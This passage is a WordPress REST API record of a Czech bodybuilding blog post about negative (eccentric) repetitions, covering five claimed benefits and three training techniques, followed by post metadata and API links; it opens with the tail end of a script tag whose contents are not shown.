delay);}<\/script>tou druhou pomalu spust\u00edte z\u00e1t\u011b\u017e dol\u016f po dobu a\u017e p\u011bti sekund.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>P\u011bt d\u016fvod\u016f, pro\u010d byste m\u011bli prov\u00e1d\u011bt negativn\u00ed opakov\u00e1n\u00ed &#8211; a t\u0159i zp\u016fsoby, jak je za\u0159adit do tr\u00e9ninku. BUDETE MOHUTN\u011aJ\u0160\u00cd A SILN\u011aJ\u0160\u00cd B\u011aHEM KRAT\u0160\u00cd DOBY &#8211; POMOC\u00cd NEGATIVN\u00cdCH OPAKOV\u00c1N\u00cd. V&nbsp;kulturistice sportovci obvykle hledaj\u00ed ty nejlep\u0161\u00ed zp\u016fsoby, jak b\u00fdt siln\u011bj\u0161\u00ed, mohutn\u011bj\u0161\u00ed a vyr\u00fdsovan\u011bj\u0161\u00ed. Zkou\u0161\u00ed nejr\u016fzn\u011bj\u0161\u00ed tr\u00e9ninkov\u00e9 techniky, bl\u00e1zniv\u00e9 splity a ve\u0161ker\u00e9 dostupn\u00e9 cviky. Pravdou ale b\u00fdv\u00e1, \u017ee metoda, kterou tak urputn\u011b hled\u00e1te, je obvykle ta, kterou velmi dob\u0159e zn\u00e1te. N\u011bjak\u00fd z\u00e1kladn\u00ed, tradi\u010dn\u00ed p\u0159\u00edstup zaji\u0161\u0165uj\u00edc\u00ed kvalitn\u00ed v\u00fdsledky. Jedn\u00edm z&nbsp;nich jsou nap\u0159\u00edklad negativn\u00ed opakov\u00e1n\u00ed. Negativn\u00ed, \u010di excentrick\u00e1 opakov\u00e1n\u00ed p\u0159edstavuj\u00ed metodu, p\u0159i kter\u00e9 jednodu\u0161e prodlu\u017eujete dobu, po kterou je sval v\u00a0tenzi, proto\u017ee kladete d\u016fraz na excentrickou f\u00e1zi opakov\u00e1n\u00ed \u2013 tzn. na f\u00e1zi, kdy \u010dinku pokl\u00e1d\u00e1te dol\u016f. Opakem je pak f\u00e1ze koncentrick\u00e1. A my pro v\u00e1s m\u00e1me hned p\u011bt v\u011bdecky ov\u011b\u0159en\u00fdch d\u016fvod\u016f, pro\u010d negativn\u00ed opakov\u00e1n\u00ed zahrnout do tr\u00e9ninkov\u00e9ho programu. 1. Budete siln\u011bj\u0161\u00ed. V\u00a0excentrick\u00e9 f\u00e1zi m\u00e1te asi 1,75 kr\u00e1t v\u011bt\u0161\u00ed s\u00edlu ne\u017e ve f\u00e1zi koncentrick\u00e9. Takov\u00e1 nerovnov\u00e1ha je pr\u00fd ur\u010dit\u00fdm druhem obrann\u00e9 adaptace \u2013 t\u011blo v\u00e1m nedovol\u00ed zvednout n\u011bco, co byste nemohli zvl\u00e1dnout, a hrozilo by v\u00e1m zran\u011bn\u00ed. Ale v\u00fdzkumy ukazuj\u00ed, \u017ee zv\u00fd\u0161en\u00edm excentrick\u00e9 kapacity budete schopni nav\u00fd\u0161it koncentrick\u00fd potenci\u00e1l a podpo\u0159it tak tr\u00e9ninkov\u00e9 v\u00fdsledky. Cvi\u010den\u00ed v\u00a0negativn\u00ed f\u00e1zi pohybu toti\u017e umo\u017en\u00ed dostat se za hranici vy\u010derp\u00e1n\u00ed a je skv\u011bl\u00e9 k\u00a0p\u0159ekon\u00e1n\u00ed stagnace. 2. U\u0161et\u0159\u00edte energii. P\u0159i excentrick\u00e9 f\u00e1zi se aktivuje m\u00e9n\u011b motorick\u00fdch jednotek, co\u017e znamen\u00e1, \u017ee je na jednu jednotku kladena vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e. K\u00a0dosa\u017een\u00ed kvalitn\u00edch v\u00fdsledk\u016f v\u00e1m tedy sta\u010d\u00ed prov\u00e9st m\u00e9n\u011b opakov\u00e1n\u00ed, u\u0161et\u0159\u00edte \u010das i energii. Nav\u00edc postupem \u010dasu bude centr\u00e1ln\u00ed nervov\u00fd syst\u00e9m schopni aktivovat motorick\u00e9 jednotky rychleji a efektivn\u011bji v\u00a0r\u00e1mci procesu tzv. neur\u00e1ln\u00ed adaptace, kter\u00e1 je pro r\u016fstov\u00fd potenci\u00e1l velice d\u016fle\u017eit\u00e1. 3. Budete mohutn\u011bj\u0161\u00ed. Jestli chcete dos\u00e1hnout n\u00e1r\u016fstu svalov\u00e9 hmoty, mus\u00edte sval p\u0159et\u00ed\u017eit a zv\u00fd\u0161it intenzitu i dobu, po kterou je sval v\u00a0tenzi. Negativn\u00ed f\u00e1ze v\u00e1m v\u00fdrazn\u011b pom\u016f\u017ee stimulovat proces proteosynt\u00e9zy. Sou\u010dasn\u011b d\u00edky n\u00ed aktivujete v\u00edce rychl\u00fdch svalov\u00fdch vl\u00e1ken (ty maj\u00ed v\u011bt\u0161\u00ed r\u016fstov\u00fd potenci\u00e1l) a cel\u00e1 \u0159ada proveden\u00fdch studi\u00ed jasn\u011b ukazuje, \u017ee hypertrofii m\u016f\u017eete pomoc\u00ed negativn\u00edch opakov\u00e1n\u00ed zcela z\u00e1sadn\u011b ovlivnit. V\u00a0r\u00e1mci jedn\u00e9 studie bylo prok\u00e1z\u00e1no, \u017ee p\u0159i excentrick\u00e9m tr\u00e9ninku se rychl\u00e1 svalov\u00e1 vl\u00e1kna aktivuje desetkr\u00e1t v\u00edc ne\u017e p\u0159i koncentrick\u00e9m cvi\u010den\u00ed. 4. Sv\u016fj tr\u00e9nink p\u0159esn\u011b zac\u00edl\u00edte. A budete tak\u00e9 schopni l\u00e9pe p\u0159edej\u00edt zran\u011bn\u00ed. Studie proveden\u00e1 s\u00a0fotbalov\u00fdmi hr\u00e1\u010di ukazuje, \u017ee p\u0159edsez\u00f3nn\u00ed excentrick\u00fd silov\u00fd tr\u00e9nink sni\u017euje riziko natr\u017een\u00ed k\u0159\u00ed\u017eov\u00e9ho vazu a hamstringu. Dal\u0161\u00ed v\u00fdzkumy zase ukazuj\u00ed, \u017ee excentrick\u00fd tr\u00e9nink buduje s\u00edlu pojivov\u00fdch tk\u00e1n\u00ed a t\u00edm p\u016fsob\u00ed preventivn\u011b proti zran\u011bn\u00edm. 5. Podpo\u0159\u00edte anabolismus. Tr\u00e9nink s&nbsp;vy\u0161\u0161\u00ed intenzitou znamen\u00e1, \u017ee je na t\u011blo kladena vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e a je aktivov\u00e1no v\u00edce motorick\u00fdch jednotek, t\u00edm p\u00e1dem doch\u00e1z\u00ed k&nbsp;vylu\u010dov\u00e1n\u00ed v\u011bt\u0161\u00edho mno\u017estv\u00ed r\u016fstov\u00e9ho hormonu a je stimulov\u00e1na proteosynt\u00e9za. Excentrick\u00fd tr\u00e9nink tak\u00e9 urychluje metabolismus a to a\u017e na 72 hodin po cvi\u010den\u00ed, co\u017e znamen\u00e1 kvalitn\u011bj\u0161\u00ed spalov\u00e1n\u00ed tuk\u016f a v\u00fdrazn\u011b \u0161t\u00edhlej\u0161\u00ed figuru. P\u0159esv\u011bd\u010dili jsme v\u00e1s, abych negativn\u00ed opakov\u00e1n\u00ed vyzkou\u0161eli? Pak zvolte jednu z&nbsp;n\u00e1sleduj\u00edc\u00edch technik: Cviky na z\u00e1v\u011br V&nbsp;z\u00e1v\u011bru s\u00e9rie prove\u010fte n\u011bkolik negativn\u00edch opakov\u00e1n\u00ed. Nemus\u00edte p\u0159i nich moc zvy\u0161ovat z\u00e1t\u011b\u017e, sta\u010d\u00ed samotn\u00fd prodlou\u017een\u00fd \u010das, kdy budou svaly v&nbsp;tenzi: pohyb dol\u016f by v\u00e1m m\u011bl trvat 6-10 sekund. Excentrick\u00e9 p\u0159et\u00ed\u017een\u00ed Najd\u011bte tr\u00e9ninkov\u00e9ho partnera a zvolte z\u00e1t\u011b\u017e, kter\u00e1 bude odpov\u00eddat zhruba 150 % va\u0161eho 1RM (m\u016f\u017ee b\u00fdt i vy\u0161\u0161\u00ed). Partner v\u00e1m pom\u016f\u017ee s&nbsp;pozitivn\u00ed f\u00e1z\u00ed a pak v\u00e1s nech\u00e1, abyste tu negativn\u00ed zvl\u00e1dli sami. Nap\u0159\u00edklad p\u0159i bench pressu: zvedn\u011bte \u010dinku ze stojanu a pomalu ji po dobu 3-5 sekund pokl\u00e1dejte dol\u016f v&nbsp;pln\u00e9m rozsahu pohybu, pak v\u00e1m tr\u00e9ninkov\u00fd partner pom\u016f\u017ee dostat \u010dinku zase zp\u00e1tky nahoru. Tento syst\u00e9m tr\u00e9ninku je velice vy\u010derp\u00e1vaj\u00edc\u00ed, omezte ho proto na t\u0159i s\u00e9rie o 3-5 opakov\u00e1n\u00edch jednou t\u00fddn\u011b v\u017edy na jednu svalovou partii. Dva nahoru, jeden dol\u016f Nem\u00e1te tr\u00e9ninkov\u00e9ho partnera? Nevad\u00ed. Pak cvi\u010dte na p\u0159\u00edstroji a pozitivn\u00ed f\u00e1zi prove\u010fte ob\u011bma rukama \u010di nohama, zat\u00edmco f\u00e1zi negativn\u00ed jenom jednou kon\u010detinou. V&nbsp;p\u0159\u00edpad\u011b zakop\u00e1v\u00e1n\u00ed na hamstringy bude cvi\u010den\u00ed vypadat n\u00e1sledovn\u011b \u2013 p\u0159i pohybu nahoru budete m\u00edt o op\u011brku zaklesnut\u00e9 ob\u011b nohy, naho\u0159e jednu uvoln\u00edte a tou druhou pomalu spust\u00edte z\u00e1t\u011b\u017e dol\u016f po dobu a\u017e p\u011bti sekund.<\/p>\n","protected":false},"author":2,"featured_media":909,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,5],"tags":[],"class_list":["post-907","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-svet-kulturistiky-2019","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/907","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=907"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/907\/revisions"}],"predecessor-version":[{"id":912,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/907\/revisions\/912"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/909"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=907"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=907"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}